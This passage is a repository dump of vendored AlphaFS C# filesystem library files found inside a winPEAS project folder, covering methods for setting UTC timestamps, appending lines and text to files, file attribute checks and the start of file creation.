universal time (UTC), for the specified file, at once. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, pathFormat); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc) { SetFsoDateTimeCore(null, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestampsUtc(string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(null, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Time/File.SetTimestampsUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once. /// The transaction. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc) { SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once. /// The transaction. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, pathFormat); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once. /// The transaction. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint) { SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified file, at once. /// The transaction. /// The file for which to set the dates and times information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// A containing the value to set for the last access date and time of . This value is expressed in UTC time. /// A containing the value to set for the last write date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AppendAllLines.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file, writes the /// specified lines to the file, and then closes the file. /// /// /// The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter /// must contain existing directories. /// /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to append the lines to. The file is created if it doesn't already exist. /// The lines to append to the file. [SecurityCritical] public static void AppendAllLines(string path, IEnumerable contents) { WriteAppendAllLinesCore(null, path, contents, NativeMethods.DefaultFileEncoding, true, true, PathFormat.RelativePath); } /// Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file, writes the /// specified lines to the file, and then closes the file. /// /// /// The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter /// must contain existing directories. /// /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to append the lines to. The file is created if it doesn't already exist. /// The lines to append to the file. /// The character to use. [SecurityCritical] public static void AppendAllLines(string path, IEnumerable contents, Encoding encoding) { WriteAppendAllLinesCore(null, path, contents, encoding, true, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file, /// writes the specified lines to the file, and then closes the file. /// /// /// The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter /// must contain existing directories. /// /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to append the lines to. The file is created if it doesn't already exist. /// The lines to append to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void AppendAllLines(string path, IEnumerable contents, PathFormat pathFormat) { WriteAppendAllLinesCore(null, path, contents, NativeMethods.DefaultFileEncoding, true, false, pathFormat); } /// [AlphaFS] Appends lines to a file, and then closes the file. If the specified file does not /// exist, this method creates a file, writes the specified lines to the file, and then closes /// the file. /// /// /// The method creates the file if it doesn't exist, but it doesn't create new directories. /// Therefore, the value of the path parameter must contain existing directories. /// /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// /// The file to append the lines to. The file is created if it doesn't already exist. /// /// The lines to append to the file. /// The character to use. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void AppendAllLines(string path, IEnumerable contents, Encoding encoding, PathFormat pathFormat) { WriteAppendAllLinesCore(null, path, contents, encoding, true, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AppendAllLinesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// [AlphaFS] Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file, /// writes the specified lines to the file, and then closes the file. /// /// /// The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter /// must contain existing directories. /// /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to append the lines to. The file is created if it doesn't already exist. /// The lines to append to the file. [SecurityCritical] public static void AppendAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable contents) { WriteAppendAllLinesCore(transaction, path, contents, NativeMethods.DefaultFileEncoding, true, false, PathFormat.RelativePath); } /// [AlphaFS] Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file, /// writes the specified lines to the file, and then closes the file. /// /// /// The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter /// must contain existing directories. /// /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to append the lines to. The file is created if it doesn't already exist. /// The lines to append to the file. /// The character to use. [SecurityCritical] public static void AppendAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable contents, Encoding encoding) { WriteAppendAllLinesCore(transaction, path, contents, encoding, true, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file, writes the /// specified lines to the file, and then closes the file. /// /// /// The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter /// must contain existing directories. /// /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to append the lines to. The file is created if it doesn't already exist. /// The lines to append to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void AppendAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable contents, PathFormat pathFormat) { WriteAppendAllLinesCore(transaction, path, contents, NativeMethods.DefaultFileEncoding, true, false, pathFormat); } /// [AlphaFS] Appends lines to a file, and then closes the file. If the specified file does not exist, this method creates a file, /// writes the specified lines to the file, and then closes the file. /// /// /// The method creates the file if it doesn't exist, but it doesn't create new directories. Therefore, the value of the path parameter /// must contain existing directories. /// /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to append the lines to. The file is created if it doesn't already exist. /// The lines to append to the file. /// The character to use. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void AppendAllLinesTransacted(KernelTransaction transaction, string path, IEnumerable contents, Encoding encoding, PathFormat pathFormat) { WriteAppendAllLinesCore(transaction, path, contents, encoding, true, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AppendAllText.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Appends the specified string to the file, creating the file if it does not already exist. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to append the specified string to. /// The string to append to the file. [SecurityCritical] public static void AppendAllText(string path, string contents) { WriteAppendAllLinesCore(null, path, new[] {contents}, NativeMethods.DefaultFileEncoding, true, false, PathFormat.RelativePath); } /// Appends the specified string to the file, creating the file if it does not already exist. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to append the specified string to. /// The string to append to the file. /// The character to use. [SecurityCritical] public static void AppendAllText(string path, string contents, Encoding encoding) { WriteAppendAllLinesCore(null, path, new[] {contents}, encoding, true, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Appends the specified string to the file, creating the file if it does not already exist. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to append the specified string to. /// The string to append to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void AppendAllText(string path, string contents, PathFormat pathFormat) { WriteAppendAllLinesCore(null, path, new[] {contents}, NativeMethods.DefaultFileEncoding, true, false, pathFormat); } /// [AlphaFS] Appends the specified string to the file, creating the file if it does not already exist. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The file to append the specified string to. /// The string to append to the file. /// The character to use. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void AppendAllText(string path, string contents, Encoding encoding, PathFormat pathFormat) { WriteAppendAllLinesCore(null, path, new[] {contents}, encoding, true, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AppendAllTextTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// [AlphaFS] Appends the specified string to the file, creating the file if it does not already exist. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to append the specified string to. /// The string to append to the file. [SecurityCritical] public static void AppendAllTextTransacted(KernelTransaction transaction, string path, string contents) { WriteAppendAllLinesCore(transaction, path, new[] {contents}, NativeMethods.DefaultFileEncoding, true, false, PathFormat.RelativePath); } /// [AlphaFS] Appends the specified string to the file, creating the file if it does not already exist. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to append the specified string to. /// The string to append to the file. /// The character to use. [SecurityCritical] public static void AppendAllTextTransacted(KernelTransaction transaction, string path, string contents, Encoding encoding) { WriteAppendAllLinesCore(transaction, path, new[] {contents}, encoding, true, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Appends the specified string to the file, creating the file if it does not already exist. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to append the specified string to. /// The string to append to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void AppendAllTextTransacted(KernelTransaction transaction, string path, string contents, PathFormat pathFormat) { WriteAppendAllLinesCore(transaction, path, new[] {contents}, NativeMethods.DefaultFileEncoding, true, false, pathFormat); } /// [AlphaFS] Appends the specified string to the file, creating the file if it does not already exist. /// /// /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The file to append the specified string to. /// The string to append to the file. /// The character to use. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void AppendAllTextTransacted(KernelTransaction transaction, string path, string contents, Encoding encoding, PathFormat pathFormat) { WriteAppendAllLinesCore(transaction, path, new[] {contents}, encoding, true, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AppendText.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region .NET /// Creates a that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist. /// A stream writer that appends UTF-8 encoded text to the specified file or to a new file. /// path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars. /// path is null. /// The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive). /// path is in an invalid format. /// The caller does not have the required permission. /// The path to the file to append to. [SecurityCritical] public static StreamWriter AppendText(string path) { return AppendTextCore(null, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Creates a that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist. /// A stream writer that appends UTF-8 encoded text to the specified file or to a new file. /// path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars. /// path is null. /// The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive). /// path is in an invalid format. /// The caller does not have the required permission. /// The path to the file to append to. /// Indicates the format of the path parameter(s). [SecurityCritical] public static StreamWriter AppendText(string path, PathFormat pathFormat) { return AppendTextCore(null, path, NativeMethods.DefaultFileEncoding, pathFormat); } /// [AlphaFS] Creates a that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist. /// A stream writer that appends UTF-8 encoded text to the specified file or to a new file. /// path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars. /// path is null. /// The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive). /// path is in an invalid format. /// The caller does not have the required permission. /// The path to the file to append to. /// The character to use. /// Indicates the format of the path parameter(s). [SecurityCritical] public static StreamWriter AppendText(string path, Encoding encoding, PathFormat pathFormat) { return AppendTextCore(null, path, encoding, pathFormat); } /// [AlphaFS] Creates a that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist. /// A stream writer that appends UTF-8 encoded text to the specified file or to a new file. /// path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars. /// path is null. /// The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive). /// path is in an invalid format. /// The caller does not have the required permission. /// The path to the file to append to. /// The character to use. [SecurityCritical] public static StreamWriter AppendText(string path, Encoding encoding) { return AppendTextCore(null, path, encoding, PathFormat.RelativePath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AppendTextTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Creates a that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist. /// A stream writer that appends UTF-8 encoded text to the specified file or to a new file. /// path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars. /// path is null. /// The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive). /// path is in an invalid format. /// The caller does not have the required permission. /// The transaction. /// The path to the file to append to. [SecurityCritical] public static StreamWriter AppendTextTransacted(KernelTransaction transaction, string path) { return AppendTextCore(transaction, path, NativeMethods.DefaultFileEncoding, PathFormat.RelativePath); } /// [AlphaFS] Creates a that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist. /// A stream writer that appends UTF-8 encoded text to the specified file or to a new file. /// path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars. /// path is null. /// The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive). /// path is in an invalid format. /// The caller does not have the required permission. /// The transaction. /// The path to the file to append to. /// Indicates the format of the path parameter(s). [SecurityCritical] public static StreamWriter AppendTextTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return AppendTextCore(transaction, path, NativeMethods.DefaultFileEncoding, pathFormat); } /// [AlphaFS] Creates a that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist. /// A stream writer that appends UTF-8 encoded text to the specified file or to a new file. /// path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars. /// path is null. /// The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive). /// path is in an invalid format. /// The caller does not have the required permission. /// The transaction. /// The path to the file to append to. /// The character to use. [SecurityCritical] public static StreamWriter AppendTextTransacted(KernelTransaction transaction, string path, Encoding encoding) { return AppendTextCore(transaction, path, encoding, PathFormat.RelativePath); } /// [AlphaFS] Creates a that appends UTF-8 encoded text to an existing file, or to a new file if the specified file does not exist. /// A stream writer that appends UTF-8 encoded text to the specified file or to a new file. /// path is a zero-length string, contains only white space, or contains one or more invalid characters as defined by InvalidPathChars. /// path is null. /// The specified path is invalid (for example, the directory doesnt exist or it is on an unmapped drive). /// path is in an invalid format. /// The caller does not have the required permission. /// The transaction. /// The path to the file to append to. /// The character to use. /// Indicates the format of the path parameter(s). [SecurityCritical] public static StreamWriter AppendTextTransacted(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat) { return AppendTextCore(transaction, path, encoding, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.AttributeLogic.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Checks that the instance is valid. internal static bool HasValidAttributes(FileAttributes fileAttributes) { return Utils.IsNotNull(fileAttributes) && !fileAttributes.Equals(NativeMethods.InvalidFileAttributes); } /// Checks that the file system object is a directory. internal static bool IsDirectory(FileAttributes fileAttributes) { return HasValidAttributes(fileAttributes) && (fileAttributes & FileAttributes.Directory) != 0; } /// Checks that the file system object is hidden. internal static bool IsHidden(FileAttributes fileAttributes) { return HasValidAttributes(fileAttributes) && (fileAttributes & FileAttributes.Hidden) != 0; } /// Checks that the file system object is read-only. internal static bool IsReadOnly(FileAttributes fileAttributes) { return HasValidAttributes(fileAttributes) && (fileAttributes & FileAttributes.ReadOnly) != 0; } /// Checks that the file system object is read-only or hidden. internal static bool IsReadOnlyOrHidden(FileAttributes fileAttributes) { return IsReadOnly(fileAttributes) || IsHidden(fileAttributes); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.Create.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE 